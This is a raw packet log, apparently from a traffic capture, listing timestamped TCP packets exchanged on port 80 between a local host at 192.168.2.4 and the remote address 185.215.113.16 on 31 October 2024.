Oct 31, 2024 04:15:15.708240032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708254099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708266973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708300114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708324909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708332062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708494902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708509922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708522081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708534002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708554029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708575010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708643913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708657026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708667994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708682060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708688021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708694935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708714008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708722115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708755970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708780050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708795071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708806038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708816051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708847046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708868027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708879948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708890915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708914042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.708971977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708985090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.708997011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709007978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709013939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709024906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709109068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709146976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709146976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709156990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709187984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709214926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709227085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709239960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709249973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709279060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709305048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709369898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709383011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709393978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709407091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709415913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709422112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709443092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709474087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709527969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709539890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709568977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709590912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709645987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709656954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709669113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709680080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709692001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709693909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709721088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709752083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709764957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709800005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709829092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709841013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709852934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.709871054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.709889889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.737946033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.737977982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.737993002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738035917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738044024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738060951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738082886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738095999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738107920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738120079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738141060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738161087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738188982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738203049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738214970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738251925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738276958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738289118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738300085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738316059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738327980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738349915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738399029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738480091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738492966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738507986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738522053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738528013 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738535881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738543987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738564014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738575935 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738609076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738610029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738621950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738634109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738655090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738661051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738692999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738729000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738743067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738755941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738770008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738782883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738826990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738831043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738842964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738883972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.738917112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738974094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.738986969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739025116 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739047050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739058018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739089012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739119053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739132881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739145994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739164114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739167929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739183903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739214897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739228964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739252090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739329100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739342928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739356995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739381075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739398003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739417076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739455938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739495993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739518881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739532948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739547968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739578962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739666939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739681005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739694118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739708900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739717007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739723921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739732981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739762068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739782095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739809036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739846945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739881039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739913940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.739959955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.739988089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.740000010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.740014076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.740037918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772763014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772777081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772797108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772809982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772823095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772835016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772835970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772849083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772883892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772886992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772903919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772907019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772918940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772933006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772943020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772944927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.772972107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.772996902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773008108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773015022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773042917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773070097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773086071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773098946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773106098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773113012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773140907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773149967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773169994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773201942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773214102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773241043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773260117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773277998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773289919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773325920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773338079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773350954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773360014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773363113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773406029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773421049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773442030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773454905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773485899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773490906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773499012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773510933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773540974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773571968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773585081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773597002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773607016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773608923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773634911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773636103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773691893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773701906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773737907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773749113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773758888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773782015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773794889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773830891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773844004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773864031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773874998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773875952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773900986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.773953915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773966074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773977995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.773992062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.774012089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894536018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894562006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894579887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894603014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894615889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894629955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894675970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894725084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894740105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894762039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894766092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894776106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894790888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894798040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894834042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894866943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894880056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894929886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894932985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894947052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894984007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.894984007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.894995928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895031929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895061970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895075083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895118952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895137072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895149946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895165920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895190001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895211935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895248890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895265102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895278931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895323992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895338058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895353079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895390034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895420074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895435095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895483017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895494938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895509005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895522118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895548105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895596027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895664930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895689011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895689964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895735979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895750046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895765066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895777941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895792961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895816088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895822048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895848036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895874023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895916939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895930052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895960093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895973921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.895987034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.895988941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896027088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.896064043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896076918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896090031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896111965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.896146059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896183014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.896205902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896220922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896274090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896287918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.896290064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.896347046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924129009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924168110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924191952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924207926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924223900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924245119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924274921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924289942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924304962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924318075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924326897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924355984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924367905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924395084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924408913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924441099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924460888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924474955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:15.924501896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:15.924525976 CET	80	49738	185.215.113.16	192.168.2.4
